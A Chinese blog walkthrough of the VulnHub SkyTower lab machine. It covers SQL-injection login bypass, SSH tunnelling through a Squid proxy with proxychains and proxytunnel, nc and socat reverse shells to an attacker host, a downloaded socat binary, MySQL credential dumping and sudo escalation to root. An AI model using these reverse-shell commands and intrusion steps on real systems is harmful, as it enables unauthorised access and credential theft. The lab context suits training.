vulnhub靶机-SkyTower-proxychains代理转发ssh-渗透测试11

11-SkyTower

靶机地址:https://www.vulnhub.com/entry/skytower-1,96/
靶机难度:中级(CTF)
在这里插入图片描述

信息收集

nmap

nmap 192.168.75.0/24 -sP

在这里插入图片描述

nmap -sS -sV -A -T4 192.168.75.20 
22 ssh
80 tcp
3128 http-proxy Squid http proxy 3.1.20

在这里插入图片描述

80

访问web页面
发现是个登陆界面 尝试sql注入
发现 是'闭合

在这里插入图片描述

3218

nmap 扫描得到 
3128端口开启了squid-http
Squid cache(简称为Squid)是流行最广的,使用最普遍的开源缓存代理服务器:
https://blog.csdn.net/qq_21419995/article/details/80888680

sql注入

尝试发现有过滤 无法sqlmap爆库
尝试字典爆破

https://github.com/melbinkm/SQL-Injection-Payloads/blob/master/sqli_auth.list

在这里插入图片描述

proxychains git clone https://github.com/melbinkm/SQL-Injection-Payloads.git  

在这里插入图片描述

利用burpsuite抓包拦截发送到->intruder进行sql注入爆破,为了确保选择email和password字段,攻击类型设置:pitchfork

payloads1和2选择同样的文本,并单击Start Attack!

发现长度为1838的是成功的

在这里插入图片描述

这里可以用 repeater发送
也可以在页面使用payload注入
Username: john
Password: hereisjohn

在这里插入图片描述

在这里插入图片描述

代理转发ssh

ssh john@192.168.75.20
无法连接 前面知道开启squid代理 需要代理

在这里插入图片描述

proxychains代理

	ProxyChains是Linux和其他Unix下的代理工具。 它可以使任何程序通过代理上网, 允许TCP和DNS通过代理隧道, 支持HTTP、 SOCKS4和SOCKS5类型的代理服务器, 并且可配置多个代理。
	ProxyChains通过一个用户定义的代理列表强制连接指定的应用程序, 直接断开接收方和发送方的连接。
	ProxyChains 是一个强制应用的 TCP 连接通过代理的工具,支持 Tor、HTTP、与 Socks 代理。
	与 sshuttle 不同的是,ProxyChains 只会将当前应用的 TCP 连接转发至代理,而非全局代理。
	参考文章
	https://zhuanlan.zhihu.com/p/166375631
vim /etc/proxychans4.conf
添加:http 192.168.75.20 3128
proxychains ssh john@192.168.75.20
发现连接后自动断开连接

在这里插入图片描述

参考文章 https://cloud.tencent.com/developer/article/1594881
ssh连接获得的是一个shell 
这里尝试是否可以执行命令
proxychains ssh john@192.168.75.20 -t id
可以执行

在这里插入图片描述

proxytunnel隧道代理

proxytunnel是一款利用http connection封装技术建立隧道的工具
使用条件:防火墙禁止DNS和ICMP隧道,只允许代理服务器上网的情景
proxytunnel -p 192.168.75.20:3128 -d 127.0.0.1:22 -a 1234  kali本地1234端口

将kali与项目的3128端口建立隧道,隧道建立的端口转发到项目本地的22端口,然后在映射到kali本地1234端口。

-a 指定本地侦听端口
-p 使用代理
-r 使用第二个代理
-d 指定访问的目标和端口

ssh john@192.168.75.20 -p 1234 -t id

在这里插入图片描述

绕过ssh

因为无法得到shell 
尝试绕过 查看是否具有条件
ssh john@127.0.0.1 -p 1234 -t which python
ssh john@127.0.0.1 -p 1234 -t which php
ssh john@127.0.0.1 -p 1234 -t which perl
ssh john@127.0.0.1 -p 1234 -t which nc

在这里插入图片描述

nc -lvp 5566
ssh john@127.0.0.1 -p 1234 nc 192.168.75.5 5566 -e /bin/bash

在这里插入图片描述

cd /
grep -rn "Funds have been withdrawn" 2>/dev/null
.bashrc:113:echo  "Funds have been withdrawn"

在这里插入图片描述

# If not running interactively, don't do anything
case $- in
    *i*) ;;
      *) return;;
esac

i选项是关闭的
这里面的命令导致结束shell!
.bashrc详解:
https://linux.cn/article-9298-1.html
http://c.biancheng.net/view/2767.html

pty方法

wget --no-check-certificate https://github.com/ernw/static-toolbox/releases/download/socat-v1.7.4.1/socat-1.7.4.1-x86_64 -O socat

python -m SimpleHTTPServer

在这里插入图片描述

wget http://192.168.75.5:8081/socat
chmod +x socat
HOME=/dev/shm ./socat tcp:192.168.75.5:7788 exec:'/bin/bash -li',pty,stderr,sigint,sighup,sigquit,sane

补全命令 此时shell tty 未完全
script -qc bash /dev/null

sudo -l
成功回显

在这里插入图片描述

小技巧替换bashrc

sed -i 's/exit/echo/g' .bashrc

-i  直接修改文件
用sed将bashrc文件中的exit全部替换为echo!

或者head删除最后三行信息!
"head -n -3 .bashrc > .bashrc"

或者直接删除 bashrc 这样可以获得一个ssh shell
proxychains ssh john@192.168.75.20 -t rm .bashrc

重命名
proxychains ssh john@192.168.75.20 -t mv .bashrc .bashrc.bak
proxychains ssh john@192.168.75.20 -t mv .bashrc .bashrc.bak
proxychains ssh john@192.168.75.20

在这里插入图片描述

mysql枚举

这里面符合udf提权条件 但是无法使用
查看底层文件login.php
cd /var/www
cat login.php
root root

在这里插入图片描述

mysql -uroot -proot
show databases;
use SkyTech
show tables;
desc login
select * from login;

三个账号密码
john@skytech.com      hereisjohn   
sara@skytech.com      ihatethisjob 
william@skytech.com   senseable    

在这里插入图片描述

尝试登录
sara  ihatethisjob
可以登录

提权

proxychains ssh sara@192.168.75.20 -t mv .bashrc .bashrc.bak
proxychains sara john@192.168.75.20
ihatethisjob

sudo -l
sudo ls /accounts/../root
sudo cat /accounts/../root/flag.txt
Congratz, have a cold one to celebrate!
root password is theskytower

在这里插入图片描述


版权声明:本文为WHHLS原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。